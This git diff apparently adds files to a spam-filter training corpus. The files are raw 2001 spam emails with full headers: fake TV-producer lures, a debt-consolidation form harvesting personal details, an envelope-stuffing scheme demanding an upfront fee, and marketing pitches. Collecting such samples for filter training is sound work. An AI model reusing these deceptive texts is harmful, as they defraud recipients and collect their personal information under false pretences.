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    + + + + + + + diff --git a/bayes/spamham/spam_2/00062.6a56c37b8db0cbfb57a99b32ad60b4d2 b/bayes/spamham/spam_2/00062.6a56c37b8db0cbfb57a99b32ad60b4d2 new file mode 100644 index 0000000..646ac01 --- /dev/null +++ b/bayes/spamham/spam_2/00062.6a56c37b8db0cbfb57a99b32ad60b4d2 @@ -0,0 +1,95 @@ +From playnb4ublender@angelfire.com Tue Jul 3 16:10:11 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from dogma.slashnull.org (dogma.slashnull.org [212.17.35.15]) by + mail.netnoteinc.com (Postfix) with ESMTP id 7FE931140BA for + ; Tue, 3 Jul 2001 16:10:09 +0100 (IST) +Received: from dvismail.dvisionfinland.fi (dvismail.dvisionfinland.fi + [194.100.123.60]) by dogma.slashnull.org (8.9.3/8.9.3) with ESMTP id + QAA04656 for ; Tue, 3 Jul 2001 16:10:03 +0100 +From: playnb4ublender@angelfire.com +Received: from 63.21.73.143 ([63.21.73.143]) by dvismail.dvisionfinland.fi + with Microsoft SMTPSVC(5.0.2195.1600); Tue, 3 Jul 2001 18:05:27 +0300 +Message-Id: <00005b3a069c$000029c4$00006e84@> +To: +Subject: Just Do It! +Date: Tue, 03 Jul 2001 11:09:46 -0400 +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +Reply-To: carmen_donlin@yahoo.com +X-Originalarrivaltime: 03 Jul 2001 15:05:28.0125 (UTC) FILETIME=[984BFED0: + 01C103D1] + + + + + + + + +I am a TV producer for one of the three major networks and +I am working on a new primetime special. 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REMEMBER TO GIVE US A WAY TO REACH YOU BY PHONE TODAY! + + + + + + + + + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00063.98dc120045d9b6c675c286524bf893ba b/bayes/spamham/spam_2/00063.98dc120045d9b6c675c286524bf893ba new file mode 100644 index 0000000..ba0abef --- /dev/null +++ b/bayes/spamham/spam_2/00063.98dc120045d9b6c675c286524bf893ba @@ -0,0 +1,38 @@ +From Z9QohcZ27@china.com Tue Jul 3 22:10:33 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from ibn-tofail.iam.net.ma (unknown [212.217.36.34]) by + mail.netnoteinc.com (Postfix) with SMTP id 7339A1140BA for + ; Tue, 3 Jul 2001 22:10:18 +0100 (IST) +Received: by ibn-tofail.iam.net.ma id VAA0000005393; Tue, 3 Jul 2001 + 21:11:24 GMT +From: +Date: 03 Jul 01 4:12:06 PM +Message-Id: <0UW3Y47e27xw> +To: good_lfe@china.com +Subject: Incredible Cash Generating System!!!, + + +Greetings, +Like most of us I have been burned in several Programs in the past. However, +I really, truly, believe that this program, " The Last Program" is going to +help me and many others achieve their lifelong financial dreams. +Please click on the link to my web page and take just a few minutes to read +over the material inside. It is a really fascinating program and I am very +excited about its potential and I hope you will be to after you read about +it. + +CLICK HERE FOR DETAILS http://lastprogram.members.easyspace.com + +If you have any questions or concerns please feel free to call me at 702 604 +6163 +Warmest regards +Rick + +Do not reply to this message - +To be removed from future mailings: +mailto:grantuit2001@yahoo.com?Subject=Remove + + + + diff --git a/bayes/spamham/spam_2/00064.839dfb3973ed439e19c1ca77cffdab3d b/bayes/spamham/spam_2/00064.839dfb3973ed439e19c1ca77cffdab3d new file mode 100644 index 0000000..f8df6f4 --- /dev/null +++ b/bayes/spamham/spam_2/00064.839dfb3973ed439e19c1ca77cffdab3d @@ -0,0 +1,65 @@ +From aronmoroni1305@excite.com Wed Jul 4 06:00:35 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from arilion.com (mail.arilion.com [63.238.52.216]) by + mail.netnoteinc.com (Postfix) with ESMTP id 8C3011140BA for + ; Wed, 4 Jul 2001 06:00:30 +0100 (IST) +Received: from avhunts.avioninc.com [216.207.242.125] by arilion.com with + ESMTP (SMTPD32-6.03) id A2203300252; Tue, 03 Jul 2001 23:57:04 -0500 +Received: from vadty.msn.com (64.14.243.42) by avhunts.avioninc.com + (Worldmail 1.3.167); 3 Jul 2001 23:57:42 -0500 +Message-Id: <3B41AE7D00000D93@avhunts.avioninc.com> (added by + avhunts.avioninc.com) +From: aronmoroni1305@excite.com +To: acomg@msn.com +Reply-To: scottthayer3873@excite.com +Subject: Do you owe money? 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We apologize for any inconveniences + + + + + diff --git a/bayes/spamham/spam_2/00065.9c8ae6822b427f2dbee5339d561a2888 b/bayes/spamham/spam_2/00065.9c8ae6822b427f2dbee5339d561a2888 new file mode 100644 index 0000000..183ae6c --- /dev/null +++ b/bayes/spamham/spam_2/00065.9c8ae6822b427f2dbee5339d561a2888 @@ -0,0 +1,65 @@ +From ettiesajous1893@excite.com Wed Jul 4 06:03:52 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from arilion.com (mail.arilion.com [63.238.52.216]) by + mail.netnoteinc.com (Postfix) with ESMTP id 916C51140BA for + ; Wed, 4 Jul 2001 06:03:43 +0100 (IST) +Received: from avhunts.avioninc.com [216.207.242.125] by arilion.com with + ESMTP (SMTPD32-6.03) id A246256027A; Tue, 03 Jul 2001 23:57:42 -0500 +Received: from mvwbc.msn.com (64.14.243.42) by avhunts.avioninc.com + (Worldmail 1.3.167); 3 Jul 2001 23:58:18 -0500 +Message-Id: <3B41AE7D00000D97@avhunts.avioninc.com> (added by + avhunts.avioninc.com) +From: ettiesajous1893@excite.com +To: 6w8vnz@msn.com +Reply-To: scottthayer3873@excite.com +Subject: Do you owe money? [ovn610] +Date: Wed, 4 Jul 2001 00:02:31 -0500 + + + Do you owe money? Is it getting troublesome keeping track +of all those bills and whom you owe how much and when? Would +it not be easier if you could just make 1 monthly payment +instead of several? We can help! + + If your debts are $4,000 US or more and you are a United +States citizen, you can consolidate your debt into just one +easy payment! You do not have to own a home, nor do you need +to take out a loan. Credit checks are not required! + + To receive more information regarding our services, please +fill out the form below and return it to us, or provide the +necessary information in your response. There are absolutely +no obligations. All the fields below are required for your +application to be processed. + +********** + +Full Name : +Address : +City : +State : +Zip Code : +Home Phone : +Work Phone : +Best Time to Call : +E-Mail Address : +Estimated Debt Size : + +********** + +Please allow upto ten business days for application +processing. + +Thank You + + +Note: If this e-mail arrived to you by error, or you wish +to never receive such advertisements from our company, +please reply to this e-mail with the word REMOVE in the +e-mail subject line. We apologize for any inconveniences + + + + + diff --git a/bayes/spamham/spam_2/00066.af6bf70ea68b499585a72bdd7d6dd931 b/bayes/spamham/spam_2/00066.af6bf70ea68b499585a72bdd7d6dd931 new file mode 100644 index 0000000..5321304 --- /dev/null +++ b/bayes/spamham/spam_2/00066.af6bf70ea68b499585a72bdd7d6dd931 @@ -0,0 +1,107 @@ +From playnb4uaron_j_melean@angelfire.com Wed Jul 4 06:50:26 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from dogma.slashnull.org (dogma.slashnull.org [212.17.35.15]) by + mail.netnoteinc.com (Postfix) with ESMTP id 8A9A01140BA for + ; Wed, 4 Jul 2001 06:50:25 +0100 (IST) +Received: from JP-WS-01.jp.gobierno.pr ([65.198.216.105]) by + dogma.slashnull.org (8.9.3/8.9.3) with ESMTP id GAA17977 for + ; Wed, 4 Jul 2001 06:50:14 +0100 +From: playnb4uaron_j_melean@angelfire.com +Received: from 63.21.73.124 ([63.21.73.124]) by JP-WS-01.jp.gobierno.pr + with Microsoft SMTPSVC(5.0.2195.2966); Wed, 4 Jul 2001 01:49:24 -0400 +Message-Id: <000079a945cb$00006872$0000102b@> +To: +Subject: Reunion! +Date: Wed, 04 Jul 2001 01:49:55 -0400 +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +Reply-To: kasey_minora@yahoo.com +X-Originalarrivaltime: 04 Jul 2001 05:49:25.0314 (UTC) FILETIME=[14ECCA20: + 01C1044D] + + +I am a TV producer for one of the three major networks and +I am working on a new primetime special. We're looking for a +special story and thought you might be able to assist. + +THIS IS NOT A SALES PITCH FOR ANYTHING! +I AM REALLY LOOKING FOR A GREAT STORY! + +----------------- +PLEASE READ THIS! +----------------- + +Here's the type of story we are seeking; + +Are you interested in finding a long lost love from +your past? +Your first love? +The one that got away? + +If you are, WE MAY BE ABLE TO MAKE YOUR DREAM COME TRUE! +(if you are not, PLEASE send this to your single friends) + +To be considered for this rare national TV opportunity, +you MUST; +1. Be single and available +2. Have a sincere interest to find a former love +3. Be willing to share your story on NATIONAL TV +4. Be able to travel to Los Angeles (We pay for everything) + +If this is YOU...then here's what you need to do next- +1. Reply to this email. +2. Tell us WHO you are looking for. +3. Tell us WHY you want to find him/her. (Let your feelings out) +4. Tell us WHERE they were last time you saw them (specifics) +5. Tell us how to reach YOU BY PHONE- HOME, WORK, CELL, email + +If we cannot reach you, we will have to move on without you! + +We only need ONE story, so if you want it to be you... +REPLY IMMEDIATELY! + +We look forward to getting your reply...SOON! +Good luck! + + +p.s. REMEMBER TO GIVE US A WAY TO REACH YOU BY PHONE TODAY! + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00067.bf32243a9444bba9cba8582fef3d949e b/bayes/spamham/spam_2/00067.bf32243a9444bba9cba8582fef3d949e new file mode 100644 index 0000000..2ebe2b0 --- /dev/null +++ b/bayes/spamham/spam_2/00067.bf32243a9444bba9cba8582fef3d949e @@ -0,0 +1,99 @@ +From playnb4ubbikair@sprintmail.com Wed Jul 4 10:29:46 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from dogma.slashnull.org (dogma.slashnull.org [212.17.35.15]) by + mail.netnoteinc.com (Postfix) with ESMTP id C284E11436F for + ; Wed, 4 Jul 2001 10:29:44 +0100 (IST) +Received: from sun1.snet.com.tw ([210.200.21.1]) by dogma.slashnull.org + (8.9.3/8.9.3) with SMTP id KAA25200 for ; Wed, + 4 Jul 2001 10:29:36 +0100 +From: playnb4ubbikair@sprintmail.com +Received: from 63.21.73.30 (unverified [63.21.73.30]) by sun1.snet.com.tw + (EMWAC SMTPRS 0.83) with SMTP id ; + Wed, 04 Jul 2001 17:30:27 +0800 +Message-Id: <000074661762$000019cf$000037f3@> +To: +Subject: Remember me??? +Date: Wed, 04 Jul 2001 05:29:13 -0400 +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +Reply-To: alba_perzel@yahoo.com + + + +I am a TV producer for one of the three major networks and +I am working on a new primetime special. We're looking for a +special story and thought you might be able to assist. + +THIS IS NOT A SALES PITCH FOR ANYTHING! +I AM REALLY LOOKING FOR A GREAT STORY! + +----------------- +PLEASE READ THIS! +----------------- + +Here's the type of story we are seeking; + +Are you interested in finding a long lost love from +your past? +Your first love? +The one that got away? + +If you are, WE MAY BE ABLE TO MAKE YOUR DREAM COME TRUE! +(if you are not, PLEASE send this to your single friends) + +To be considered for this rare national TV opportunity, +you MUST; +1. Be single and available +2. Have a sincere interest to find a former love +3. Be willing to share your story on NATIONAL TV +4. Be able to travel to Los Angeles (We pay for everything) + +If this is YOU...then here's what you need to do next- +1. Reply to this email. +2. Tell us WHO you are looking for. +3. Tell us WHY you want to find him/her. (Let your feelings out) +4. Tell us WHERE they were last time you saw them (specifics) +5. Tell us how to reach YOU BY PHONE- HOME, WORK, CELL, email + +If we cannot reach you, we will have to move on without you! + +We only need ONE story, so if you want it to be you... +REPLY IMMEDIATELY! + +We look forward to getting your reply...SOON! +Good luck! + + +p.s. REMEMBER TO GIVE US A WAY TO REACH YOU BY PHONE TODAY! + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/bayes/spamham/spam_2/00068.2999b3d00828ac3fbd6a7cd27a6c6321 b/bayes/spamham/spam_2/00068.2999b3d00828ac3fbd6a7cd27a6c6321 new file mode 100644 index 0000000..169d8e8 --- /dev/null +++ b/bayes/spamham/spam_2/00068.2999b3d00828ac3fbd6a7cd27a6c6321 @@ -0,0 +1,278 @@ +From jsimmons2391@yahoo.com Wed Jul 4 11:19:31 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from www.siemen.co.kr (unknown [203.234.215.1]) by + mail.netnoteinc.com (Postfix) with ESMTP id AF6D911436F for + ; Wed, 4 Jul 2001 11:19:27 +0100 (IST) +Received: from mx3.mail.yahoo.com ([208.187.132.11]) by www.siemen.co.kr + (8.10.1/8.8.7) with SMTP id f64A08n25285; Wed, 4 Jul 2001 19:00:12 +0900 + (KST) +Subject: Earn $300-$1000 A Week From Your Home!............ +From: jsimmons2391@yahoo.com +To: vrotimi@allracing.com +Message-Id: <0cdt2tnnj08blir35f0.1aty3ni@mx3.mail.yahoo.com> +Date: Wed, 04 Jul 2001 03:25:47 -0800 +Content-Transfer-Encoding: 8BIT +X-Mailer: Microsoft Outlook, Build 8.0.1603 (8.0.1603.0) + + +HOME-MAILERS NEEDED! + +$300-$1000 PLUS WEEKLY + +Simple, pleasant work...you do at home. + + +Dear Friend, + +Are you seeking a rewarding second income? Would you like to set your +own work schedule? Work the hours you choose? Earn extra income for +your family? If so, then we may have the answer. Current statistics show +that by the year 2010, 40-60% of the American work-force will be working +from home. Get a jump on your future and secure a job through us. Our +company provides a service to thousands of people and businesses across +the United States. With your help, we can reach and provide a better +service to more of these people and businesses, faster and at a lower cost +than our competitors. We handle a marketing program called the +Home-Mailers Program, which consists of envelope processing and mailing. +These positions require no special skills or experience, just a sincere desire +to GET STARTED, and EARN MONEY! + + YOU CAN EARN GOOD MONEY!!! + + Potential incomes range from $300 to $1000 weekly or more. Pay rate is +based on a $2.00 per envelope basis. The average Home-Mailer +stuffs anywhere from 150 to 500 envelopes a week, depending on the +amount of free time they have available. The envelopes you process will +make you a substantial income. You'll find this work, done easily and +quickly, can double or even triple your income. With just one or two hours +per day you will be excitedly surprised at how easy we've made it and how +profitable this work actually is. You can earn enough money working in +your spare time to purchase that new car or boat you've been wanting, +pay off credit cards, bills, or even take a vacation. Maybe just add more +financial security for yourself or your family. Whatever the reason, you can't +go wrong. + + ALL BUSINESS CAN BE DONE RIGHT FROM YOUR OWN HOME + + You can start the same day you receive our materials and begin receiving +money within a matter of days. These positions require no prior experience +or special skills. Under contract you will receive everything you need to +get you up and running as fast as possible. Paychecks are mailed out every +two weeks on the 1st and 16th of the month. + + HELP SOLVE YOUR MONEY PROBLEMS + + If you are looking for an excellent extra income to relieve financial +pressures, you owe it to yourself to investigate this program. Naturally, no +company can afford to send out costly materials to everyone who writes in +asking for it. Therefore, we must ask each applicant for a one time +application processing fee of $27.00. This fee covers processing and +materials you will receive upon your acceptance and is returned to you +with your first paycheck. It also assures us that you are serious about +working with our company as a Home-Mailer. We will not ask or require +you to pay us for any additional information, instructions, or materials to +stay with us, and stay with us as long as you desire. If for any reason you +are not accepted into the Home-Mailers Program, your processing fee will +be sent directly back to you. There is no hassle. However, you must act +promptly. At this time we are in need of dependable Home-Mailers in your +area, of whom may start in the very near future. There are only a limited +number of positions needed for each region of the country and as soon as +we have enough people to complete the mailing needs in your area we +will not be offering any more applications. We need your help now! So if +you're a productive, positive person we're looking forward to working with +you. + + SIMPLE, EASY, AND PROFITABLE, THIS PROGRAM IS THE BEST + WAY TO MAKE AN EXCELLENT INCOME AT HOME. + + If this sounds like something you might be interested in, read on. If not, +thank you for your time. We hope to hear from you soon. + + +Sincerely Yours, + +Ron M. Jenkins +Home-Mailing Division Manager + + + + Start earning now. Here's what you need to do. + + +(1) Read, complete, and return the attached application. +(2) Enclose a one time materials and processing fee of $27.00. +(3) All correspondence and materials will be addressed to you. +Please open on day of arrival. +(4) Follow all instructions when processing and mailing. +(5) If you find yourself pressed for time, you can stop work +with us and come back at a later date, but we must insist you +maintain a high level of quality when processing and mailing. + + OUR STEP-BY-STEP SYSTEM OF BROCHURE MAILING IS SIMPLE AND OUR + INSTRUCTIONS ARE WRITTEN IN AN EASY TO FOLLOW LANGUAGE. + + There is a way to earn a substantial income at home... + + The Home-Mailers Program. + + YOUR SERVICES ARE NEEDED NOW. + + Please Respond Today! Positions are limited and time can affect + your acceptance for desired positions. + + FILL OUT APPLICATION AND RETURN TO OUR ADDRESS BELOW + + Last Name:____________________ First Name:_______________________ + Mailing Address:_________________________________________________ + City:____________________________ State:_______________________ + Zip Code:______________________ + Home Tel.#: (_______)________-_________ Age:______ + Date of Birth:_____/_____/______ + E-mail Address:______________________________ + Do you work more than 40 hours per week? [ ]Yes [ ]No + (READ AND SIGN BELOW) By signing, I state that I am interested in + becoming a Home-Mailer for your company and wish to have all of the + necessary materials and instructions sent to me at the above address. + + Signature_______________________________ Date:______/______/______ + Code # CY0795 + +**Processing fee must be in US FUNDS ONLY please.** + +*If applicant is under 18 have a guardian sign above and indicate +age of applicant. +*If you don't have access to a printer, you may copy the application +onto regular notebook paper. Please use pen. (NOTE: Please be sure to +include the Code # on your application. Applications without a Code # +can not be processed.) +*All fees are one time fees. You will not be required, asked, or need +to pay us any other fees to stay with us and stay as long as you +like. All potential pay rates are Guaranteed! +*Please note that personal checks may be held up to 30 days for +bank clearance. If you are eager to get started, you should use a +Money Order for your processing fee. + +Send Application and a $27.00 Check or Money Order (US FUNDS ONLY) +made payable to NetServ + +Send to: + +NetServ +2135A des Laurentides Blvd +Suite 174 +Laval, Quebec, Canada H7M 4M2 + + + Because we are a company recruiting people from the public we must +assure you that we are the BEST company to work with and that we provide +the MOST PROFITABLE income. Because we require an initial fee to get +started, many people are skeptical, and miss out on a great opportunity. +This fee covers our expenses for materials, postage, handling, and the time +it takes us to get you started. It also assures us that you are serious about +working with the Home-Mailers Program. We know that current Home- +Mailers are happy and making an excellent income just from reading their +testimonials. This makes us happy and enables us to succeed and continue +our success together. Here are just a couple of the many testimonials +received from Home-Mailers: + + I want to thank you for giving me this opportunity + to work for your company. It couldn't have come along + at a better time. The work is so simple and the pay is + incredible. My wife and I have been stuffing envelopes + together part-time and are exceeding what either of us + make at our full-time jobs. Thanks again! + J. Thomas ------ Miami, FL + + Thank you for everything! I was having trouble + making ends meet at my present employment. But + thanks to you and your Home-Mailers Program, I was + able to pay off some old bills and put money in the + bank. Now I'm looking forward to taking a well + deserved vacation. + M. Daniels ----- Seattle, WA + +Why do we need Home-Mailers? The cost of supplying an office is more +expensive than most people may think. The cost of office space per square +foot, + taxes employing mailing staff, + taxes employing supervisors, + +taxes, medical insurance, dental insurance, and office liability insurance, +multiplied by each region we cover, all involving paperwork, accountants +and more taxes. WE NEED YOUR SERVICES TO SAVE TIME AND MONEY! +Your role in our company is as an Independent Commission Mailer, not an +employee. We will not take taxes from your paychecks and we cannot offer +medical or dental insurance. As a Home-Mailer, your residence and many +other aspects of everyday living may be able to be declared business +expenses. Receive cash-back on your taxes! You may request copies of +personal materials at any time at no charge to yourself. All business can +be done by mail, from your own home. You can start the same day you +receive our materials and begin receiving money within days and have a +steady income as long as you desire. These positions require no prior +experience or special skills. There are many distribution companies who +want to expand their businesses, but do not want to pay the higher +expenses. It is much easier to have independent Home-Mailers earn +money doing this work themselves. This program is designed to help +people cash in with a company who needs Home-Mailers. The Home-Mailers +Program has been perfected so that it has become one of the most +successful and profitable programs ever and is supplying people around the +world with excellent primary and secondary incomes. We invite you to take +part in our success. The money you earn is up to you. We do not require +that you mail a certain number of envelopes each week. You can take on +whatever amount of business that fits your schedule and you can stop +whenever you want, there are no obligations. There is no need to do any +door to door selling or phone soliciting. You may work in the comfort of your +own home, choose your own hours, set your own pace. No need to leave +your present job. Form workshops with your friends or get the whole family +to join in. The possibilities are UNLIMITED! + + DUE TO COMPANY EXPANSION + YOUR SERVICES ARE NEEDED NOW. + Thank you, and we're looking forward to working + with you, together in the future. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +     + + + diff --git a/bayes/spamham/spam_2/00069.27497d5d2f92837805b67e2bf31dfc71 b/bayes/spamham/spam_2/00069.27497d5d2f92837805b67e2bf31dfc71 new file mode 100644 index 0000000..c8cfa30 --- /dev/null +++ b/bayes/spamham/spam_2/00069.27497d5d2f92837805b67e2bf31dfc71 @@ -0,0 +1,394 @@ +From pink2218@grabmail.com Wed Jul 4 16:46:05 2001 +Return-Path: +Delivered-To: yyyy@mail.netnoteinc.com +Received: from cpic.com.cn (unknown [202.109.110.81]) by + mail.netnoteinc.com (Postfix) with ESMTP id 127281140BA for + ; Wed, 4 Jul 2001 16:45:47 +0100 (IST) +Received: from host [216.130.52.140] by cpic.com.cn with ESMTP + (SMTPD32-6.06 EVAL) id A782ABE01A0; Wed, 04 Jul 2001 23:34:26 +0800 +From: "Brad Fikler" +Subject: New Accounts #2C6E +To: bills39d@netnoteinc.com +X-Mailer: Microsoft Outlook Express 4.72.1712.3 +X-Mimeole: Produced By Microsoft MimeOLE VÐßD.1712.3 +MIME-Version: 1.0 +Date: Wed, 04 Jul 2001 11:01:44 -0500 +Content-Transfer-Encoding: 7bit +Message-Id: <200107042335421.SM01083@host> + + +This is a MIME Message + +------=_NextPart_000_007F_01BDF6C7.FABAC1B0 +Content-Type: multipart/alternative; boundary="----=_NextPart_001_0080_01BDF6C7.FABAC1B0" + +------=_NextPart_001_0080_01BDF6C7.FABAC1B0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +***** This is an HTML Message ! ***** + + +------=_NextPart_001_0080_01BDF6C7.FABAC1B0 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + +FREE Computer With Merchant Account Setup + + + + +
    +

    COMPLETE CREDIT CARD PROCESSING SYSTEMS FOR YOUR BUSINESS=2E INTERNE= +T - HOME +BASED - MAIL ORDER - PHONE ORDER

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    +
    Clearly, it is not. It's not unknown. It's not unattainable. +
    It's not years of digging to find the "secrets" to internet riches. +
    +
    One thing that "gets to me" so often in my work as an +
    Internet Consultant, author and Internet Success +
    Strategist is that so many people on the Net seem to +
    have this incredibly huge mental block that stands +
    between themselves and success on the Net. It's +
    almost as if they've been barraged by so many claims +
    of what works and what doesn't work, and so many +
    LONG, complicated routes to actually succeeding in +
    their online venture, that "success" is the
    equivelant of a 100-foot high brick wall. +
    +
    It's NOT that difficult, my friends! It is NOT that complicated!! +
    +
    Long-time friend and business associate Rick Beneteau +
    has a new eBook out called Branding YOU & Breaking +
    the Bank. Get it!! +
    http://www.roibot.com/bybb.cgi?IM7517_bybtb . +
    But, the reason I mention this is the fact that he talks +
    so dynamically about the true simplicity of making your +
    online venture a success. +
    +
    And, yes, Rick & I come from the same school of +
    "self marketing" - marketing YOU! Obviously, that's +
    the core of his excellent new ebook, and I couldn't +
    agree with him more. +
    +
    Point being, *you* ARE everything you do online to +
    succeed. You ARE your web site, your business, your +
    marketing piece, your customer service, your customers' +
    experiences with your business -- ALL of it, is YOU! +
    Read his ebook & you'll see more of what I'm saying. +
    +
    The matter at hand is that brick wall you might have +
    standing high as you can see, blocking the path +
    between you & internet success. Listen to me - it is +
    not real OK? It doesn't exist. There's nothing there +
    to fear to begin with ... get over it!! +
    +
    What I'm telling you is, the only thing standing between +
    you and the success you most desire ... is yourself. +
    When you realize this, you will tear down that brick +
    wall by means of complete and instantaneous +
    disintegration. It will no longer exist *in your mind*, +
    which is the only "real" place it ever was anyhow! +
    +
    Yes, "persistence and personality" inherently includes +
    honesty, integrity, accountability, and many other +
    qualities but you also have to hone in on your ultimate +
    goals and realize that probably the most valuable, +
    powerful key to your success ... is YOU! +
    +
    That may be the most incredible "secret" we ever +
    uncover in our lifetime! And, trust me, that brick wall +
    won't ever get in your way again ... unless you let it. +
    +
    Talk about SIMPLE!! +
    +
    ------------------------------------------------------ +
    Bryan is a "veteran" Internet Consultant, Author, +
    Internet Success Strategist & Marketer. He publishes +
    Mega-Success.com Chronicles to over 11,500 subscribing +
    members, authors articles which appear all over the +
    Net, and helps hundreds of wealth-hungry people in +
    their journey to Internet success. +
    +
    Bryan is also Director of his No BS Guerrilla Internet +
    Marketing Group at http://NoBSGuerrillaInternetMarketing.com +
    & a fantastic new Joint Venture Partners program +
    for that site. +
    +
    Bryan Hall is a Founding Member and the Development +
    Consultant for the prestigious iCop(TM) at +
    http://www.i-cop.org/1016.htm +
    +
    You can reach Bryan at 877.230.3267 or by +
    emailing him directly at bryan.hall@mega-success.com + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Member Showcase +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +

    Examine carefully - Those with email addresses included WILL +
    TRADE LINKS with you... You are encouraged to contact them. +
    There Are Many Ways To Build A Successful Business - Just look at +
    these successful sites & programs other members are involved +in... +
    ------------------------------------------------- +

    Get INSANE amounts of traffic to your website. +
    Purchase 10,000 Guaranteed Visitors to your site +
    and receive 5,000 free. MORE TRAFFIC = MORE MONEY! +
    Less than 2cents a visitor.  Space is limited. +
    Order Now! http://www.freepicklotto.com  +
    Trade Links - businessopps@aol.com +
    ------------------------------------------------- +

    Stop Smoking - Free Lesson !! +
    Discover the Secret to Stopping Smoking. +
    To Master these Powerful Techniques, Come to +
    http://www.breath-of-life.net +for your Free Lesson. +
    Act Now!  P.S. Tell someone you care about. +
    Trade Links - jturco3@hotmail.com +
    ------------------------------------------------- +

    Celebration Sale! +
    $99.00 on Casinos/Sportsbetting sites, Lingerie stores, +
    Gift Stores, Adult Sites & Toy Stores. +
    Mention Ad#BMLM99 to receive this special sale price. +
    Order Now! +
    http://www.cyberopps.com/?=BMLM99 +
    ------------------------------------------------- +

    Affiliates of the World! +
    Top rated affiliate programs, excellent business opportunities, +
    great marketing resources and free advertising for you! +
    Visit the site to trade links. http://www.affiliates.uk.com +
    Trade Links - adrianbold@affiliates.uk.com +
    ------------------------------------------------- +

    JUST BEEN RELEASED!! +
    Internet Marketing guru Corey Rudl has just released a +
    BRAND NEW VERSION of his #1 best-selling Internet Marketing +
    Course,"The Insider Secret's to Marketing Your Business on +
    the Internet". A MUST HAVE! So don't hesitate, +
    visit.. http://www.adminder.com/c.cgi?start&bgmlmezine +
    ------------------------------------------------- +

    We have a 260 page catalog with over 3000 gift items for men, +
    women, children - A gift for everyone. We show 100 gift items +
    on our web site alone, with the catalog  you have access to +
    the rest. We also feel we have the best prices on the web. +
    Visit at http://www.treasuresoftomorrow.net +
    Trade Links - george1932me@yahoo.com +
    ------------------------------------------------- +

    If you have a product, service, opportunity or quality merchandise +
    that appeals to people worldwide, reach your targeted audience! +
    For a fraction of what other large newsletters charge you can exhibit +
    your website here, and trade links for only $8 CPM.  Compare +that +
    to the industry average of $10-$15 CPM. Why?... Because as a +
    valuable member we want you to be successful! Order today - +
    Showcases are limited and published on a first come, first serve +basis. +
    For our secure order form, click here: http://bannersgomlm.com/ezine +
    + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + + + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +Win A FREE Ad In Community & Commentary +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +

    To keep this interesting, how about this, every month we'll +
    draw a name from the replies and that person will win one +
    Sponsorship Showcase ad in the Community & Commentary, for FREE. +
    That's a value of over $700.00! Respond to each weekly survey, +
    and increase your chances to win with four separate entries. +

               QUESTION +OF THE WEEK (07/06/01)... +
         No right or wrong answers, and just by answering +
         you are entered to win a Showcase ad - Free! +

         ~~~ Do you spend more or less time ~~~ +
          ~~~ online in the summer months? ~~~ +

         More        +mailto:one@AEOpublishing.com +
         Less        +mailto:two@AEOpublishing.com +
         Same         +mailto:three@AEOpublishing.com +

    To make this as easy as possible for you, just click on the +
    e-mail address that matches your answer - you do not need to +
    enter any information in the subject or body of the message. +

    ** ADD YOUR COMMENTS!  Follow directions above and +
    add your comments in the body of the message, and we'll +
    post the best commentaries along with the responses. +

    You will automatically be entered in our drawing for a free +
    Sponsorship ad in the Community & Commentary. Please +
    respond only one time per question.  Multiple responses +
    from the same individual will be discarded. +

    +Last Weeks's Results (06/29/01) +

         ~~~ What is the goal of your website? ~~~ +

         Sell        40% +
         Get Leads        20% +
         Build Branding      5% +
         Provide Information  20% +
         Other         15% +

    +Comments: +
    ---------------------------- +
    Our web site is initially designed to get leads, build +branding, and provide information.......with a 12 month goal +of selling our service more specifically via a shopping cart. +We offer a service and at this time take deposits and payments +via our site. +Our site has been up less than 2 months and our expectation +was that we would refer to our site for leads developed in +traditional media and by referral for more information, and +to make a professional impression on someone you may not +meet before providing service. +The growth of our customer base shopping on line has grown +outside of anyone's expectations.......certainly mine and +I've been in this business for 25 years. The Internet is not +dead in the horse business, it is just getting it's legs, and +the folks using it want to get all the ancillary services +on-line as well. Our site (the first we've developed) has +exceeded our expectations, and we aren't satisfied with it +yet.......we just wanted to get it there for information! +
    Jeff and Rebecca Marks http://www.grand-champion.com +

    ------------------------------------------------- +
    Branding. While quality customer service and product +have been and will always be our top priority brand building +Zesto is our most challenging task. +
    Zesto.com ranks very high and most often #1 or 2 on +all major search engines and directories even Yahoo entering +the keyword zesto. The problem is simply that,who if anyone +would type the keyword zesto, therefore we must try to +build our brand by ensuring that generic keywords associated with our products (citrus peel) are used throughout +our site as well as search engine submissions. +
    Fortunately owning a non generic domain short, easy +to remember and trademarked works in our favor because +the marketability potential is limitless. +
    Arlene Turner http://www.zesto.com + + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +To change your subscribed address, +
    send both new and old address to Submit +
    See below for unsubscribe instructions. + +

    Please send suggestions and comments to: Editor +
    I invite you to send your real successes and showcase +your strategies and techniques, or yes, even your total bombs, +"Working Together We Can All Prosper." Submit +

    For information on how to sponsor Your Membership +Community & Commentary visit: Sponsorship +Showcase +

